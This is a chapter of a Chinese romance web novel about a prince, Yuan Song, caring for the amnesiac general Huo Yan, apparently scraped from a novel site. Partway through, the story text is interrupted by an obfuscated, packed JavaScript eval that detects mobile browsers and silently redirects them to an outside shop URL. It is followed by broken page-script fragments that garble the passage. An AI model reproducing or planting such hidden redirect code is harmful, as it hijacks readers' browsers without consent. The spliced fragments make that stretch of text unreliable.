文趣网 > 其他小说 > 昏君他是个omega > 9. 升温
    啊啊啊被看到了!

    元颂跑到水桶边捧着水朝自己脸上扑了一把水,脸上的烫意才消散了一些。

    怎么就这么任由大壮亲下去了呢。

    他拍了下额头,真是被大壮钓着走了。

    要是以后大壮吃药或者扎针都要亲亲怎么办,那还得了!

    元颂坐在椅子上思考,小八拱着他的胳膊拱到了他的手底下,摇了摇尾巴让他摸。

    元颂摸了摸它的头,小八又翻起肚皮摸,尾巴摇得比谁都欢。

    主人主人快摸我快摸我,我才是你的亲亲小狗。

    那个人类算个什么。

    霍厌这边的针很快取好,丁祯收起药箱,两个人一起走到了元颂这边。

    大壮和小八来了个对视,小八又朝元颂拱了一下,眼睛微微眯起,明显是故意给大壮看的。

    看吧看吧抢走主人所有爱的可恶的人类,主人还是最爱它。

    大壮走上前一把揪住小八的后勃颈,将它带离了元颂的身边,还道:

    “圆,它身上脏,我带它洗洗澡。”

    小八最爱干的事儿就是在土地里打滚,现在身上确实脏得很,元颂便点点头:

    “行,你去吧。”

    小八四腿蹬着,仰天长叫:

    “汪——”

    可恶的人类,阴险的人类。

    大壮一把给小八放进了水盆里,水漫过了小八的身体,毛发瞬间湿了下去,成了只落汤狗。

    救命啊,没有小狗会喜欢洗澡,还是被讨厌的人类洗。

    小八不甘示弱,抖了抖毛发,将水全都溅到了霍厌的身上。

    “小八!”

    “汪!”

    大壮格外讨厌被水淋湿,把水泼到小八身上洗狗。

    小八同样朝他甩水。

    一人一狗就这么打水仗似的边打边洗澡。

    同类相斥果不欺人。

    这边元颂送丁祯离开,走之前,他拿了一锭金子递给了丁祯。

    “丁叔,这个你拿着。”

    金子在阳光的照射下无比闪耀。

    寻常村里人家怕是一辈子也看不到这玩意儿,也只有皇子能随意拿出一锭金子来。

    元颂道:“丁叔我信你人品,如果你能治好他,以后必有重谢。”

    丁老头噘了噘嘴:“我看病看眼缘,不看钱。”

    这些年要不是霍厌,北晟蛮子早就打过来了,哪里还有现在百姓的安居乐业。

    他隐姓埋名来到这里,原以为一身医术再无处施展,哪能想到还能给霍厌治病。

    元颂闻言又朝他手里塞了一锭金子:

    “看眼缘是一回事,我想给您报酬是另一回事,也没多少,你就拿着喝喝酒也成。”

    一锭不够,就两锭。

    果然,说完丁祯就把钱收了起来。

    有钱不拿是笨蛋。

    也就元颂人傻钱还多,他那昏聩皇帝爹害他那么惨,拿他儿子一点钱不是问题。

    倒是这九皇子跟以前完全不一样了,上一次见面还是七年前,虽然长得好看,但人又蠢又坏。

    现在变化真大,以至于第一面时还没将他认出来。

    元颂看他收下便开心了,反正他从宫里带了几大箱出来,不愁花不完。

    离开前,丁祯提了一包药递给了元颂,他语重心长道:

    “辛苦了小宋,你真不容易。”

    元颂:?

    丁祯看着不远处一人一狗,心想看傻了的镇北王真是不容易。

    “这是什么?”元颂问。

    丁祯在四周看了看,眼下四周无人,他才在元颂耳旁小声道:

    “补药。”

    他才不要吃补药,还要不要面子了。

    元颂拒绝道:“我不要。”

    丁老头又道:“解蛊漫长,需得一个月方能大好,这些日子需得你们继续努力,每次过后毒素都会散发些,事后施针方为最好,所以以后还得你多多辛苦。”

    “加上治疗日程较长,你身体本就不算好,我担心你以后精血亏虚,还是需要补些。”

    元颂一听,脸又烧了起来。

    什么跟什么啊。

    “那给大壮也开点吧。”

    总不能只他一人有。

    谁知他刚一说出此话,丁祯便露出不赞同的表情。

    “小宋,他还补啊,不能够,到时候遭罪的还是你。”

    元颂:“……”

    合着就他一个人需要补。

    早知道不问了,丢脸的还是他。

    “你们在说什么?”

    说话间,大壮走上前挤进了两个人中间,硬生生地将两个人挤开了。

    “没什么,小孩子家家的别听,走。”

    送走丁祯后,霍厌就迫不及待拉着元颂进了屋子关上了房门。

    “干嘛?”

    这傻子怎么这么急。

    “元,我疼。”

    元颂一听急忙问:“哪里疼?是不是蛊毒又发作了,我现在就把丁老头叫回来。”

    “不用!是、是我想治病!”

    元颂一怔,听到熟悉的治病,哪里还能不清楚他想干什么。

    “大壮!你给我消停点!”

    “可是真的好疼,”大壮委委屈屈的,脸眼睛都红了:“圆,给我治病好不好?”

    元颂一听连忙捂住霍厌的嘴,青天白日的这大傻子说什么呢。

    岂不是白日宣那什么淫?

    “不,大壮你不想。”

    “我想,圆,我想。”

    元颂真想也有内力一巴掌来个手刀给大壮砍晕了。

    武力不行,嘴皮子来凑,于是元颂开始pua霍厌:

    “大壮,年纪轻轻的,今日柴砍了没?水挑了没?咕咕鸡小八毛驴喂了没?园圃浇水了没?上山打野了没?”

    闻言,大壮一直摇头,每一件他都没做。

    “是了,你这个年纪,这些都没做,怎么睡得着的,快些,去做吧。”

    大壮被元颂的一番话吓到了,立马就准备起身去做。

    元颂也跟着站了起来,也许起得速度有些快,腰部一抽直接闪了腰,他捂着腰连动都不会动了。

    还是昨夜太费腰了。

    大壮时时刻刻注意着他,看到这样走上前眼含担忧,

    “圆,你怎么了?”

    “无事,只是腰突然有些酸,你先去忙吧,我躺床上休息会儿。”

    哪怕昨晚睡了很久,但还是觉得睡不够。

    “我先来给圆揉吧。”

    元颂想说不用,但大壮的手已经摸上去开始揉了,力道不轻不重,拇指顺着腰侧的筋络缓缓推过去,刚好按在酸得最厉害的那块肌肉上。

    “嗯。”

    元颂没来得及说出口的话被那一下揉按逼了回去,变成了一声闷哼。

    大壮的手掌停住了,低头凑近了一些,声音压低:

    “疼?”

    元颂摇头:

    “没有……酸。”

    大壮嗯了一声,闷声继续按,他的拇指在腰侧来回推着,动作比刚才更慢了些。

    元颂不知道,只是感觉霍厌的手很大,一只手掌几乎能覆住他的半边后腰,隔着衣料能感觉到那掌心粗粝的茧子,磨过皮肤的时候带着一种微微的痒意。

    元颂站了一会儿,发现自己确实站不住了,索性半倚在桌沿,侧着身任由那双手在后腰处不紧不慢地按着。

    灶膛里的火光映在他侧脸上,把那段发红的脖颈照得格外分明。

    大壮低头按了一会儿,忽然开口:

    “圆,你腰好细。”

    元颂:“……”

    傻子真可怕,能一本正经地说出调戏人的话来,最主要他还真是一片赤诚,元颂不能打不能骂,唯独哄着他让他不要想这些事才好。

    于是元颂干脆闭上眼假装没听见,别说,这傻子揉得真挺舒服,力道不轻不重,掌心热乎乎的,一下一下顺着腰侧的筋络推过去,都快把元颂揉睡着了。

    他半靠着桌沿,眼皮越来越沉,整个人像被那双手按进了一团温热的棉花里。

    屋内一片温馨,直到门外传来几声敲门声,小八汪汪大叫了起来,把元颂那点昏昏沉沉的睡意彻底赶跑了。

    他睁开眼直起身,腰上的那双手也跟着收了回去,元颂拢了拢衣襟,走到院门前拉开,庄晓生站在门口,身后跟着几个扛着木料和茅草捆的工匠,像是刚从镇上下来的,身上还带着一路的风尘。

    庄晓生朝元颂笑了笑:

    “宋公子,前几日不是说你表兄住的那间东屋屋顶漏了吗?我正好认识镇上修屋顶的师傅,就帮你叫来了,料是我顺道捎的,你先用着,不够再跟我说。”

    元颂愣了一下,连忙侧身让开门口:

    “庄兄你真是太客气了,这怎么好意思……进来说、进来说。”

    工匠们鱼贯而入,扛着木料和茅草走向东屋。

    庄晓生站在门口没有急着进来,他的目光自然地扫过院子里站着的大壮,大壮看他的眼神还是那么的不爽,又从院子移到元颂身上。

    元颂衣领有些皱,像是刚被谁揉过似的,腰带系得不太整齐,一边长一边短,头发也有些乱,耳后那一小片皮肤微微泛着红。

    很好看。

    感觉比之前更好看了,多了一股说不出来的感觉,庄晓生说不清楚,反正心跳得有些快。

    庄晓生脸色微微发红,他收回目光,笑了笑:

    “宋公子,你今日真好看。”

    元颂一愣,他没想到一向古板正经的庄晓生也会说出这样的话。

    庄晓生继续道:“以前读《世说新语》,说卫玠风神秀异,坐者皆叹,我那时觉得,世间哪有人当得起这几个字……今日倒有些信了。”

    元颂闻言大笑,他手掌拍上庄晓生的肩,道:“庄兄,你别抬举我了,倒是你,以后你要是高中去了都城做官,不要忘了越州还有我这么个朋友啊。”

    本是客套话,谁知庄晓生直接道:

    “那不如宋公子和我一起去都城?我见宋公子种田引水灌溉技术远先于现在水平,况且你又能读书认字,要是写成书找人普及开来,必有一番大作为。”

    庄晓生是真的希望元颂能去。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824196|211216||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    元颂一听连忙摆手:

    “我没什么大志向,就愿意在田里鼓捣一些菜啊什么的,就不去了。”

    笑了刚从临安城跑出来,他可不想回去自投罗网,话说按照原来时间线,霍厌现在差不多开始造反了,现在怎么还没听说他造反呢。

    工匠很快就将屋顶补好,下来时有个工匠摸着头说:

    “真奇怪,我瞧着这房子不像是自己飞的,倒是是被人主动给撕坏的。”

    话一落地,给元颂听到了耳朵里去。

    这个大壮,不会是故意破坏的房屋想跟他睡觉吧。

    大壮在屋子里忙着给工人们做饭,倒是没听见。

    庄晓生也听到了,才压低声音对元颂说了一句:

    “宋公子,有句话我不知当讲不当讲。”

    元颂看着他:“庄兄你说。”

    庄晓生的目光落在灶房的方向,声音压得很低:

    “宋公子,我知他不是你表兄,这你不用担心,我不会乱说的。”

    “我只是观他不似寻常人家出身,我看过他的手掌,那是常年握剑拿兵器才能留下来的东西,我在衙门也有些熟人,最近听闻有上面有几波人在查外籍人与流民,他身份不明,性格也绝不似表面那么简单,你不如提前让他走,如果再待下去,我怕到最后影响了你。”

    元颂猛地怔住了,已经查到这里来了吗?

    幸好他提前托人做了假户籍,不知道能不能瞒过去。

    他安静地听着,最后抬起头看着庄晓生,笑了笑:

    “庄兄,多谢你提醒,不过我觉得吧,认一个人得看他做什么事,你看我这院子,以前总是乱糟糟的,自从他来了,倒像是个家了。”

    他偏头看了一眼灶房的方向:

    “他帮我劈柴、帮我挑水、帮我喂驴,下雨天怕我着凉给我烧热水,我腰不舒服他会替我揉半天,他挺好,对我比任何人都好,所以我也想对他好些,还是多谢你提醒我,但我不会放弃他的。”

    更何况他也是个身份不明的,怕最后还是他要影响大壮。

    庄晓生看了他很久,像是想再说什么,最终还是咽了回去。

    他点了点头:

    “……好,那我便不说了。”

    晚上时,元颂依旧心神不宁。

    白天庄晓生透露出的消息还是影响到了他。

    那些人既然已经开始查,早晚查到这里,他不能被那些人发现,就凭这原主对霍厌做的那些事,他一定会没命的。

    情绪影响了他的身体,元颂不知何时脸变得红红的,身体也烧乎了起来,他抱住收拾完东西进屋的大壮,身体轻轻发着抖:

    “大壮,我有点冷。”

    元颂脑子晕乎乎的,感觉有些不对劲。

    大壮慌了起来。

    “圆,圆你怎么了?”

    元颂身体烫得很,后知后觉发现自己发烧了。

    他和大壮果真是难兄难弟,他烧完来我来烧。

    之后的事他就记得不清了,只感觉身体轻飘飘的,有人冲了出去,又把什么人带了回来。

    可怜丁老头本来在床上睡觉,直接被霍厌给揪了出来:

    “哎哎哎,臭小子,大晚上的你不找小宋,你捞我干嘛?”

    大壮脸黑得要命,一声不吭将丁老头揪到了床边。

    丁老头一眼看出元颂的不对劲来。

    “这是发热了啊。”

    他意识到什么,指着大壮头骂道:

    “你这憨货,是不是昨夜没给他清洗。”

    有口口还留在里面,怪不得元颂会发烧。

    大壮疑惑:“什、什么?”

    丁老头扶额,跟个老妈子似的将这里面的门道跟大壮说了个清楚。

    听完,大壮仿佛打开了新世界的大门。

    原来还要这样。

    丁老头简单给元颂扎了针,又开了些药后就走了。

    大壮则抱着元颂洗了个澡,然后哄他睡觉。

    后半夜元颂睡着了都不放松,他的身体一直发着抖,嘴里还说着呓语。

    大壮对情绪十分敏感,从身后圈住了元颂,笨拙地安慰着元颂:

    “圆,别、怕,我在。”

    没人不怕死。

    尤其还是死于酷刑。

    那可是棍刑,要被人用棍子从嘴巴和后面捅破胃肠的。

    大壮不停地拍着元颂的背,像他生病时元颂哄他一般,安抚着元颂的情绪。

    他眼神微暗,只想直接揪出那个惹得元颂害怕的人杀了他。

    后面时,药起劲元颂清醒了些,大壮问他

    “圆,谁惹得你怕?”

    元颂靠在他的怀里道:

    “你听过霍厌吗?”

    大壮一愣,总觉得这名字有点熟悉,但想不起来在哪里听过,于是便道:

    “没听过,难听死了,一听就不是什么好东西!”

    元颂被他逗乐了,霍厌的名字在大梁百姓耳朵里如雷贯耳,也就大壮这人能这般大声骂他了。

    他听着还挺开心的,也跟着说:“对,他确实不是个好东西。”